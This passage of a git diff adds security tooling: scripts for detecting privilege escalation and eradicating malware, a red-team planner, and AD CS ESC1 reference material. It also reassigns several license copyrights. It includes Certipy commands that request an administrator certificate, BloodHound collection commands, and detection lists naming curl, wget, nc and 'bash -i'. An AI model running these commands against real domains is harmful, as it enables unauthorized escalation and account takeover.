r"sudo\s+python\s+-c", +] + + +def check_uac_bypass_registry(): + """Check for UAC bypass registry modifications.""" + findings = [] + if sys.platform != "win32": + return findings + for key in UAC_BYPASS_REGISTRY_KEYS: + try: + result = subprocess.check_output( + ["reg", "query", key], text=True, errors="replace", timeout=5 + ) + if result.strip() and "ERROR" not in result: + findings.append({ + "type": "uac_registry", + "key": key, + "value": result.strip()[:200], + "severity": "HIGH", + }) + except subprocess.SubprocessError: + pass + return findings + + +def check_uac_bypass_processes(): + """Check Sysmon logs for auto-elevate binary abuse.""" + findings = [] + if sys.platform != "win32": + return findings + ps_cmd = ( + "Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational';" + "Id=1} -MaxEvents 500 " + "| Where-Object {$_.Properties[4].Value -match '" + + "|".join(UAC_BYPASS_BINARIES) + + "'} | Select-Object TimeCreated," + "@{N='Image';E={$_.Properties[4].Value}}," + "@{N='CommandLine';E={$_.Properties[10].Value}}," + "@{N='ParentImage';E={$_.Properties[20].Value}} " + "| ConvertTo-Json" + ) + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", ps_cmd], + text=True, errors="replace", timeout=30 + ) + data = json.loads(result) if result.strip() else [] + if not isinstance(data, list): + data = [data] + for evt in data: + parent = (evt.get("ParentImage", "") or "").lower() + if "explorer.exe" not in parent and "svchost.exe" not in parent: + findings.append({ + "type": "uac_auto_elevate", + "time": evt.get("TimeCreated", ""), + "image": evt.get("Image", ""), + "parent": evt.get("ParentImage", ""), + "commandline": evt.get("CommandLine", "")[:200], + }) + except (subprocess.SubprocessError, json.JSONDecodeError): + pass + return findings + + +def check_linux_sudo_abuse(): + """Check auth logs for sudo abuse patterns.""" + findings = [] + if sys.platform == "win32": + return findings + log_paths = ["/var/log/auth.log", "/var/log/secure"] + for log_path in log_paths: + if not os.path.isfile(log_path): + continue + try: + with open(log_path, "r", errors="replace") as f: + for line in f: + if "sudo" not in line.lower(): + continue + for pat in SUDO_ABUSE_PATTERNS: + if re.search(pat, line, re.IGNORECASE): + findings.append({ + "type": "sudo_abuse", + "log": log_path, + "line": line.strip()[:200], + "pattern": pat, + }) + except PermissionError: + pass + + try: + result = subprocess.check_output( + ["sudo", "-l", "-n"], text=True, errors="replace", timeout=5 + ) + if "NOPASSWD" in result: + for line in result.splitlines(): + if "NOPASSWD" in line: + findings.append({ + "type": "nopasswd_sudo", + "rule": line.strip(), + "severity": "MEDIUM", + }) + except subprocess.SubprocessError: + pass + return findings + + +def check_setuid_binaries(): + """Find SUID/SGID binaries that could be abused for elevation.""" + findings = [] + if sys.platform == "win32": + return findings + try: + result = subprocess.check_output( + ["find", "/", "-perm", "-4000", "-type", "f"], + text=True, errors="replace", timeout=30, stderr=subprocess.DEVNULL + ) + known_suid = {"/usr/bin/sudo", "/usr/bin/passwd", "/usr/bin/su", + "/usr/bin/mount", "/usr/bin/umount", "/usr/bin/ping"} + for line in result.strip().splitlines(): + path = line.strip() + if path and path not in known_suid: + findings.append({"type": "unusual_suid", "path": path}) + except subprocess.SubprocessError: + pass + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Detect T1548 Abuse Elevation Control Mechanism" + ) + parser.add_argument("--output", "-o", help="Output JSON report") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + print("[*] T1548 Elevation Abuse Detection Agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}} + + if sys.platform == "win32": + reg = check_uac_bypass_registry() + procs = check_uac_bypass_processes() + report["findings"]["uac_registry"] = reg + report["findings"]["uac_processes"] = procs + print(f"[*] UAC registry: {len(reg)}, UAC process: {len(procs)}") + else: + sudo = check_linux_sudo_abuse() + suid = check_setuid_binaries() + report["findings"]["sudo_abuse"] = sudo + report["findings"]["suid_binaries"] = suid + print(f"[*] Sudo abuse: {len(sudo)}, SUID binaries: {len(suid)}") + + total = sum(len(v) if isinstance(v, list) else 0 for v in report["findings"].values()) + report["risk_level"] = "CRITICAL" if total >= 5 else "HIGH" if total >= 2 else "MEDIUM" if total > 0 else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/eradicating-malware-from-infected-systems/LICENSE b/skills/eradicating-malware-from-infected-systems/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/eradicating-malware-from-infected-systems/LICENSE +++ b/skills/eradicating-malware-from-infected-systems/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/eradicating-malware-from-infected-systems/references/api-reference.md b/skills/eradicating-malware-from-infected-systems/references/api-reference.md new file mode 100644 index 00000000..a088ad33 --- /dev/null +++ b/skills/eradicating-malware-from-infected-systems/references/api-reference.md @@ -0,0 +1,108 @@ +# API Reference: Malware Eradication + +## Windows Process Termination + +### taskkill +```cmd +taskkill /F /PID 1234 # Kill by PID +taskkill /F /IM malware.exe # Kill by name +taskkill /F /T /PID 1234 # Kill process tree +``` + +### PowerShell +```powershell +Stop-Process -Id 1234 -Force +Get-Process -Name "malware" | Stop-Process -Force +``` + +## Windows Persistence Cleanup + +### Registry Run Keys +```cmd +reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v MalwareName /f +reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v MalwareName /f +``` + +### Scheduled Tasks +```cmd +schtasks /Delete /TN "MalwareTask" /F +schtasks /Query /FO CSV /V /NH +``` + +### Services +```cmd +sc stop MalwareService +sc delete MalwareService +sc query type= all state= all +``` + +## Linux Persistence Cleanup + +### Crontab +```bash +crontab -l -u root # List root cron +crontab -r -u root # Remove all cron (use carefully) +ls -la /etc/cron.d/ +ls -la /var/spool/cron/ +``` + +### Systemd Services +```bash +systemctl list-unit-files --type=service +systemctl disable malware.service +systemctl stop malware.service +rm /etc/systemd/system/malware.service +systemctl daemon-reload +``` + +### Process Kill +```bash +kill -9 +pkill -f "malware_pattern" +``` + +## File Quarantine Best Practices + +### Hash Before Move +```bash +sha256sum /path/to/malware > /quarantine/hash.txt +``` + +### Secure Move +```bash +mv /path/to/malware /quarantine/sha256_filename.quarantine +chmod 000 /quarantine/sha256_filename.quarantine +``` + +## Autoruns (Sysinternals) + +### Command Line +```cmd +autorunsc.exe -a * -c -h -s -v -vt +``` + +### Output Columns +| Column | Description | +|--------|-------------| +| Entry | Autorun name | +| Image Path | Binary location | +| Signer | Code signing info | +| VT Detection | VirusTotal results | + +## YARA Scanning for Remaining Artifacts + +### Command +```bash +yara -r rules.yar /target/directory +``` + +### Rule Example +```yara +rule Malware_Remnant { + strings: + $s1 = "malware_mutex" ascii + $s2 = {4D 5A 90 00} + condition: + any of them +} +``` diff --git a/skills/eradicating-malware-from-infected-systems/scripts/agent.py b/skills/eradicating-malware-from-infected-systems/scripts/agent.py new file mode 100644 index 00000000..5a5b7e1f --- /dev/null +++ b/skills/eradicating-malware-from-infected-systems/scripts/agent.py @@ -0,0 +1,195 @@ +#!/usr/bin/env python3 +"""Agent for malware eradication from infected systems — process kill, file removal, persistence cleanup.""" + +import argparse +import json +import os +import re +import subprocess +import sys +from datetime import datetime, timezone + + +PERSISTENCE_LOCATIONS_WINDOWS = [ + r"HKCU\Software\Microsoft\Windows\CurrentVersion\Run", + r"HKLM\Software\Microsoft\Windows\CurrentVersion\Run", + r"HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce", + r"HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce", + r"HKLM\SYSTEM\CurrentControlSet\Services", +] + +PERSISTENCE_LOCATIONS_LINUX = [ + "/etc/cron.d", "/var/spool/cron", "/etc/crontab", + "/etc/init.d", "/etc/systemd/system", "/usr/lib/systemd/system", + "/etc/rc.local", "~/.bashrc", "~/.bash_profile", +] + + +def kill_malicious_process(pid): + """Terminate a malicious process by PID.""" + if sys.platform == "win32": + cmd = ["taskkill", "/F", "/PID", str(pid)] + else: + cmd = ["kill", "-9", str(pid)] + try: + subprocess.check_output(cmd, text=True, errors="replace", timeout=10) + return {"pid": pid, "status": "killed"} + except subprocess.SubprocessError as e: + return {"pid": pid, "status": "failed", "error": str(e)} + + +def quarantine_file(file_path, quarantine_dir): + """Move malicious file to quarantine directory with metadata.""" + os.makedirs(quarantine_dir, exist_ok=True) + if not os.path.isfile(file_path): + return {"file": file_path, "status": "not_found"} + import hashlib + with open(file_path, "rb") as f: + sha256 = hashlib.sha256(f.read()).hexdigest() + dest = os.path.join(quarantine_dir, f"{sha256}_{os.path.basename(file_path)}.quarantine") + try: + os.rename(file_path, dest) + meta = { + "original_path": file_path, + "sha256": sha256, + "quarantined_at": datetime.now(timezone.utc).isoformat(), + "quarantine_path": dest, + } + with open(dest + ".json", "w") as f: + json.dump(meta, f, indent=2) + return {"file": file_path, "status": "quarantined", "sha256": sha256} + except OSError as e: + return {"file": file_path, "status": "failed", "error": str(e)} + + +def scan_persistence_windows(): + """Scan Windows persistence locations for suspicious entries.""" + findings = [] + for key in PERSISTENCE_LOCATIONS_WINDOWS: + try: + result = subprocess.check_output( + ["reg", "query", key], text=True, errors="replace", timeout=5 + ) + for line in result.splitlines(): + line = line.strip() + if "REG_SZ" in line or "REG_EXPAND_SZ" in line: + parts = line.split(None, 2) + if len(parts) >= 3: + value = parts[2] + if any(d in value.lower() for d in ["temp", "appdata\\local\\temp", "public"]): + findings.append({ + "key": key, + "name": parts[0], + "value": value, + "suspicious": True, + }) + except subprocess.SubprocessError: + pass + return findings + + +def scan_persistence_linux(): + """Scan Linux persistence locations for suspicious entries.""" + findings = [] + for loc in PERSISTENCE_LOCATIONS_LINUX: + expanded = os.path.expanduser(loc) + if os.path.isdir(expanded): + for f in os.listdir(expanded): + fpath = os.path.join(expanded, f) + if os.path.isfile(fpath): + try: + stat = os.stat(fpath) + if stat.st_mtime > (datetime.now().timestamp() - 86400 * 7): + findings.append({ + "path": fpath, + "modified": datetime.fromtimestamp(stat.st_mtime).isoformat(), + "note": "Recently modified persistence file", + }) + except OSError: + pass + elif os.path.isfile(expanded): + try: + with open(expanded, "r", errors="replace") as fh: + content = fh.read() + for line in content.splitlines(): + if any(s in line.lower() for s in ["curl", "wget", "nc ", "ncat", "bash -i"]): + findings.append({ + "file": expanded, + "line": line.strip()[:200], + "note": "Suspicious command in startup file", + }) + except PermissionError: + pass + return findings + + +def clean_scheduled_tasks(): + """List suspicious scheduled tasks.""" + findings = [] + if sys.platform == "win32": + try: + result = subprocess.check_output( + ["schtasks", "/Query", "/FO", "CSV", "/NH", "/V"], + text=True, errors="replace", timeout=15 + ) + for line in result.splitlines(): + parts = line.strip('"').split('","') + if len(parts) >= 9: + action = parts[8] if len(parts) > 8 else "" + if any(s in action.lower() for s in ["powershell", "cmd", "temp", "appdata"]): + findings.append({ + "task_name": parts[1] if len(parts) > 1 else "", + "action": action[:200], + }) + except subprocess.SubprocessError: + pass + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Eradicate malware from infected systems" + ) + parser.add_argument("--scan-persistence", action="store_true") + parser.add_argument("--kill-pid", type=int, nargs="*", help="PIDs to terminate") + parser.add_argument("--quarantine-file", nargs="*", help="Files to quarantine") + parser.add_argument("--quarantine-dir", default="/tmp/quarantine") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Malware Eradication Agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "actions": []} + + if args.kill_pid: + for pid in args.kill_pid: + result = kill_malicious_process(pid) + report["actions"].append({"action": "kill", **result}) + print(f"[*] Kill PID {pid}: {result['status']}") + + if args.quarantine_file: + for fpath in args.quarantine_file: + result = quarantine_file(fpath, args.quarantine_dir) + report["actions"].append({"action": "quarantine", **result}) + print(f"[*] Quarantine {fpath}: {result['status']}") + + if args.scan_persistence: + if sys.platform == "win32": + pers = scan_persistence_windows() + tasks = clean_scheduled_tasks() + else: + pers = scan_persistence_linux() + tasks = [] + report["persistence"] = pers + report["scheduled_tasks"] = tasks + print(f"[*] Persistence entries: {len(pers)}, Suspicious tasks: {len(tasks)}") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/evaluating-threat-intelligence-platforms/LICENSE b/skills/evaluating-threat-intelligence-platforms/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/evaluating-threat-intelligence-platforms/LICENSE +++ b/skills/evaluating-threat-intelligence-platforms/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/executing-active-directory-attack-simulation/LICENSE b/skills/executing-active-directory-attack-simulation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/executing-active-directory-attack-simulation/LICENSE +++ b/skills/executing-active-directory-attack-simulation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/executing-diamond-model-analysis/LICENSE b/skills/executing-diamond-model-analysis/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/executing-diamond-model-analysis/LICENSE +++ b/skills/executing-diamond-model-analysis/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/executing-phishing-simulation-campaign/LICENSE b/skills/executing-phishing-simulation-campaign/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/executing-phishing-simulation-campaign/LICENSE +++ b/skills/executing-phishing-simulation-campaign/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/executing-red-team-engagement-planning/LICENSE b/skills/executing-red-team-engagement-planning/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/executing-red-team-engagement-planning/LICENSE +++ b/skills/executing-red-team-engagement-planning/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/executing-red-team-engagement-planning/references/api-reference.md b/skills/executing-red-team-engagement-planning/references/api-reference.md new file mode 100644 index 00000000..9eb7cbc5 --- /dev/null +++ b/skills/executing-red-team-engagement-planning/references/api-reference.md @@ -0,0 +1,90 @@ +# API Reference: Red Team Engagement Planning + +## MITRE ATT&CK Framework + +### Tactics (Enterprise) +| ID | Tactic | +|----|--------| +| TA0043 | Reconnaissance | +| TA0042 | Resource Development | +| TA0001 | Initial Access | +| TA0002 | Execution | +| TA0003 | Persistence | +| TA0004 | Privilege Escalation | +| TA0005 | Defense Evasion | +| TA0006 | Credential Access | +| TA0007 | Discovery | +| TA0008 | Lateral Movement | +| TA0009 | Collection | +| TA0011 | Command and Control | +| TA0010 | Exfiltration | +| TA0040 | Impact | + +### ATT&CK Navigator API +```http +GET https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json +``` + +## Red Team Tools API References + +### Cobalt Strike — Teamserver +``` +./teamserver +``` + +### GoPhish — Campaign API +```http +POST https://gophish-server:3333/api/campaigns/ +Authorization: Bearer {api_key} + +{ + "name": "Spearphishing Test", + "template": {"name": "IT Support"}, + "url": "https://phish.example.com", + "smtp": {"name": "smtp_config"}, + "groups": [{"name": "Target Group"}] +} +``` + +### BloodHound — Data Collection +```bash +# SharpHound collection +SharpHound.exe -c All --domain corp.local +# or via Python +bloodhound-python -d corp.local -u user -p pass -c all +``` + +## Engagement Plan Structure + +### Key Sections +| Section | Content | +|---------|---------| +| Scope | IP ranges, domains, systems in/out | +| Rules of Engagement | Authorization, boundaries | +| Objectives | Goals mapped to business risk | +| Scenarios | Attack paths and techniques | +| Timeline | Phases with milestones | +| Communication | Deconfliction, reporting | +| Data Handling | Encryption, retention, destruction | + +## PTES (Penetration Testing Execution Standard) + +### Phases +1. Pre-engagement Interactions +2. Intelligence Gathering +3. Threat Modeling +4. Vulnerability Analysis +5. Exploitation +6. Post-Exploitation +7. Reporting + +## Report Template Fields + +| Field | Description | +|-------|-------------| +| Executive Summary | Business impact overview | +| Scope & Methodology | What was tested and how | +| Findings | Vulnerabilities with CVSS scores | +| Attack Narrative | Timeline of red team actions | +| Detection Gaps | What blue team missed | +| Recommendations | Prioritized remediation | diff --git a/skills/executing-red-team-engagement-planning/scripts/agent.py b/skills/executing-red-team-engagement-planning/scripts/agent.py new file mode 100644 index 00000000..246278a4 --- /dev/null +++ b/skills/executing-red-team-engagement-planning/scripts/agent.py @@ -0,0 +1,151 @@ +#!/usr/bin/env python3 +"""Agent for planning and documenting red team engagements with scope, rules, and attack paths.""" + +import argparse +import json +import os +from datetime import datetime, timezone + + +MITRE_TACTICS = [ + "Reconnaissance", "Resource Development", "Initial Access", + "Execution", "Persistence", "Privilege Escalation", + "Defense Evasion", "Credential Access", "Discovery", + "Lateral Movement", "Collection", "Command and Control", + "Exfiltration", "Impact", +] + +ATTACK_SCENARIOS = { + "phishing": { + "name": "Spearphishing Campaign", + "tactics": ["Initial Access", "Execution"], + "techniques": ["T1566.001", "T1204.002"], + "tools": ["GoPhish", "Evilginx2", "custom payloads"], + }, + "external_recon": { + "name": "External Reconnaissance & Exploitation", + "tactics": ["Reconnaissance", "Initial Access"], + "techniques": ["T1595", "T1190", "T1133"], + "tools": ["Nmap", "Nuclei", "Subfinder", "Burp Suite"], + }, + "assumed_breach": { + "name": "Assumed Breach — Internal", + "tactics": ["Discovery", "Lateral Movement", "Privilege Escalation"], + "techniques": ["T1087", "T1021", "T1068"], + "tools": ["BloodHound", "Rubeus", "Impacket", "CrackMapExec"], + }, + "physical": { + "name": "Physical Access & Social Engineering", + "tactics": ["Initial Access", "Collection"], + "techniques": ["T1200", "T1091"], + "tools": ["Rubber Ducky", "LAN Turtle", "badge cloning"], + }, +} + + +def generate_engagement_plan(client_name, scenarios, duration_weeks, team_size): + """Generate a structured red team engagement plan.""" + plan = { + "engagement": { + "client": client_name, + "type": "Red Team Assessment", + "created": datetime.now(timezone.utc).isoformat(), + "duration_weeks": duration_weeks, + "team_size": team_size, + }, + "scope": { + "in_scope": [], + "out_of_scope": [ + "Denial of Service attacks", + "Physical destruction of equipment", + "Social engineering of non-consenting third parties", + "Data exfiltration of real PII/PHI", + ], + }, + "rules_of_engagement": { + "authorization": f"Written authorization required from {client_name} CISO", + "communication": "Daily check-ins with client POC via encrypted channel", + "deconfliction": "24/7 hotline for incident deconfliction", + "data_handling": "All collected data encrypted at rest and in transit", + "emergency_stop": "Immediate halt on client request via deconfliction hotline", + "hours_of_operation": "Business hours unless otherwise agreed", + }, + "scenarios": [], + "phases": [ + {"phase": 1, "name": "Planning & Reconnaissance", "weeks": 1}, + {"phase": 2, "name": "Initial Access", "weeks": max(1, duration_weeks // 4)}, + {"phase": 3, "name": "Post-Exploitation", "weeks": max(1, duration_weeks // 3)}, + {"phase": 4, "name": "Objective Achievement", "weeks": max(1, duration_weeks // 4)}, + {"phase": 5, "name": "Reporting & Debrief", "weeks": 1}, + ], + "objectives": [ + "Gain initial foothold in corporate network", + "Escalate to Domain Admin privileges", + "Access simulated crown jewels (flag files)", + "Test detection and response capabilities", + "Evaluate security awareness of personnel", + ], + } + + for scenario_key in scenarios: + if scenario_key in ATTACK_SCENARIOS: + plan["scenarios"].append(ATTACK_SCENARIOS[scenario_key]) + + return plan + + +def generate_attack_tree(scenario): + """Generate an attack tree for a given scenario.""" + tree = { + "scenario": scenario["name"], + "goal": f"Achieve objectives via {scenario['name']}", + "attack_paths": [], + } + for i, technique in enumerate(scenario["techniques"]): + tree["attack_paths"].append({ + "step": i + 1, + "technique": technique, + "tactic": scenario["tactics"][min(i, len(scenario["tactics"]) - 1)], + "tools": scenario["tools"], + "success_criteria": f"Successfully execute {technique}", + }) + return tree + + +def main(): + parser = argparse.ArgumentParser( + description="Generate red team engagement plans" + ) + parser.add_argument("--client", required=True, help="Client organization name") + parser.add_argument("--scenarios", nargs="+", + choices=list(ATTACK_SCENARIOS.keys()), + default=["phishing", "assumed_breach"], + help="Attack scenarios to include") + parser.add_argument("--duration", type=int, default=4, help="Duration in weeks") + parser.add_argument("--team-size", type=int, default=4, help="Red team size") + parser.add_argument("--output", "-o", help="Output JSON plan path") + args = parser.parse_args() + + print("[*] Red Team Engagement Planning Agent") + plan = generate_engagement_plan(args.client, args.scenarios, args.duration, args.team_size) + + attack_trees = [] + for scenario in plan["scenarios"]: + tree = generate_attack_tree(scenario) + attack_trees.append(tree) + plan["attack_trees"] = attack_trees + + print(f"[*] Plan generated for {args.client}") + print(f"[*] Scenarios: {len(plan['scenarios'])}") + print(f"[*] Duration: {args.duration} weeks, Team: {args.team_size}") + + if args.output: + with open(args.output, "w") as f: + json.dump(plan, f, indent=2) + print(f"[*] Plan saved to {args.output}") + else: + print(json.dumps(plan, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/executing-red-team-exercise/LICENSE b/skills/executing-red-team-exercise/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/executing-red-team-exercise/LICENSE +++ b/skills/executing-red-team-exercise/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-active-directory-certificate-services-esc1/LICENSE b/skills/exploiting-active-directory-certificate-services-esc1/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-active-directory-certificate-services-esc1/LICENSE +++ b/skills/exploiting-active-directory-certificate-services-esc1/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-active-directory-certificate-services-esc1/references/api-reference.md b/skills/exploiting-active-directory-certificate-services-esc1/references/api-reference.md new file mode 100644 index 00000000..22d65c55 --- /dev/null +++ b/skills/exploiting-active-directory-certificate-services-esc1/references/api-reference.md @@ -0,0 +1,89 @@ +# API Reference: AD CS ESC1 Vulnerability + +## ESC1 — Enrollee Supplies Subject Alternative Name + +### Vulnerability Conditions +1. Template allows enrollee to supply SAN (`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) +2. Template has Client Authentication EKU (OID 1.3.6.1.5.5.7.3.2) +3. Low-privileged users (Domain Users) can enroll +4. No manager approval required + +## Certipy — AD CS Auditing Tool + +### Find Vulnerable Templates +```bash +certipy find -u user@domain.local -p password -dc-ip 10.10.10.1 -vulnerable +``` + +### Request Certificate with SAN (ESC1) +```bash +certipy req -u user@domain.local -p password -dc-ip 10.10.10.1 \ + -ca CORP-CA -template VulnerableTemplate \ + -upn administrator@domain.local +``` + +### Authenticate with Certificate +```bash +certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1 +``` + +## certutil — Windows Built-in + +### List Templates +```cmd +certutil -v -template +certutil -catemplates +certutil -TCAInfo +``` + +### Request Certificate +```cmd +certutil -submit -attrib "SAN:upn=admin@domain.local" request.req +``` + +## Certificate Template Flags + +### msPKI-Certificate-Name-Flag +| Value | Name | Risk | +|-------|------|------| +| 0x00000001 | CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT | CRITICAL | +| 0x00010000 | CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME | CRITICAL | + +### msPKI-Enrollment-Flag +| Value | Name | +|-------|------| +| 0x00000002 | CT_FLAG_PEND_ALL_REQUESTS (manager approval) | +| 0x00000020 | CT_FLAG_AUTO_ENROLLMENT | + +## LDAP Queries for AD CS + +### Find templates with ENROLLEE_SUPPLIES_SUBJECT +```ldap +(&(objectClass=pKICertificateTemplate) + (msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.804:=1)) +``` + +### Find CAs +```ldap +(objectClass=pKIEnrollmentService) +``` + +## PowerShell — PSPKI Module + +### Install +```powershell +Install-Module -Name PSPKI +``` + +### Get Templates +```powershell +Get-CertificateTemplate | Where-Object { + $_.Flags -band 1 # ENROLLEE_SUPPLIES_SUBJECT +} | Select-Object Name, Flags, OID +``` + +## Remediation +1. Remove `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` from template flags +2. Require CA manager approval for certificate issuance +3. Restrict enrollment permissions to specific security groups +4. Enable certificate auditing (Event ID 4887) diff --git a/skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py b/skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py new file mode 100644 index 00000000..8f346b5f --- /dev/null +++ b/skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py @@ -0,0 +1,122 @@ +#!/usr/bin/env python3 +"""Agent for detecting and testing AD CS ESC1 misconfiguration (enrollee supplies SAN).""" + +import argparse +import json +import subprocess +import sys +from datetime import datetime, timezone + + +def enumerate_certificate_templates(): + """Enumerate AD CS certificate templates via certutil or Certipy.""" + templates = [] + try: + result = subprocess.check_output( + ["certutil", "-v", "-template"], + text=True, errors="replace", timeout=30 + ) + current = {} + for line in result.splitlines(): + line = line.strip() + if line.startswith("Template["): + if current: + templates.append(current) + current = {"raw_lines": []} + if ":" in line: + key, _, val = line.partition(":") + current[key.strip()] = val.strip() + if current: + current["raw_lines"].append(line) + if current: + templates.append(current) + except (subprocess.SubprocessError, FileNotFoundError): + pass + return templates + + +def check_esc1_vulnerable(template): + """Check if a certificate template is vulnerable to ESC1.""" + indicators = [] + raw = "\n".join(template.get("raw_lines", [])) + if "CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT" in raw or "ENROLLEE_SUPPLIES_SUBJECT" in raw: + indicators.append("Enrollee can supply Subject Alternative Name (SAN)") + if "Client Authentication" in raw or "1.3.6.1.5.5.7.3.2" in raw: + indicators.append("Template allows Client Authentication EKU") + if "Domain Users" in raw or "Authenticated Users" in raw: + indicators.append("Low-privileged users can enroll") + if "Manager approval" not in raw and "manager approval" not in raw.lower(): + indicators.append("No manager approval required") + return indicators + + +def run_certipy_find(domain, username, password, dc_ip): + """Run Certipy to find vulnerable certificate templates.""" + findings = [] + try: + result = subprocess.check_output( + ["certipy", "find", "-u", f"{username}@{domain}", + "-p", password, "-dc-ip", dc_ip, "-vulnerable", "-json"], + text=True, errors="replace", timeout=60 + ) + data = json.loads(result) + for tmpl in data.get("Certificate Templates", []): + if "ESC1" in str(tmpl.get("Vulnerabilities", [])): + findings.append({ + "template": tmpl.get("Template Name", ""), + "vulnerability": "ESC1", + "enrollable_by": tmpl.get("Enrollment Rights", []), + }) + except (subprocess.SubprocessError, json.JSONDecodeError, FileNotFoundError): + pass + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Detect AD CS ESC1 vulnerability (authorized pentesting only)" + ) + parser.add_argument("--certutil", action="store_true", help="Use certutil enumeration") + parser.add_argument("--certipy", action="store_true", help="Use Certipy tool") + parser.add_argument("--domain", help="AD domain name") + parser.add_argument("--username", help="Domain username") + parser.add_argument("--password", help="Domain password") + parser.add_argument("--dc-ip", help="Domain controller IP") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] AD CS ESC1 Vulnerability Detection Agent") + print("[!] For authorized security testing only") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + + if args.certutil: + templates = enumerate_certificate_templates() + for tmpl in templates: + vulns = check_esc1_vulnerable(tmpl) + if vulns: + report["findings"].append({ + "template": tmpl.get("Template", "Unknown"), + "esc1_indicators": vulns, + "indicator_count": len(vulns), + }) + print(f"[*] Templates analyzed: {len(templates)}, ESC1 vulnerable: {len(report['findings'])}") + + if args.certipy and args.domain: + certipy_results = run_certipy_find( + args.domain, args.username or "", args.password or "", args.dc_ip or "" + ) + report["findings"].extend(certipy_results) + print(f"[*] Certipy findings: {len(certipy_results)}") + + report["risk_level"] = "CRITICAL" if report["findings"] else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-active-directory-with-bloodhound/LICENSE b/skills/exploiting-active-directory-with-bloodhound/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-active-directory-with-bloodhound/LICENSE +++ b/skills/exploiting-active-directory-with-bloodhound/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-active-directory-with-bloodhound/references/api-reference.md b/skills/exploiting-active-directory-with-bloodhound/references/api-reference.md new file mode 100644 index 00000000..e7ee38f2 --- /dev/null +++ b/skills/exploiting-active-directory-with-bloodhound/references/api-reference.md @@ -0,0 +1,113 @@ +# API Reference: Active Directory Analysis with BloodHound + +## SharpHound — Data Collection + +### Syntax +```cmd 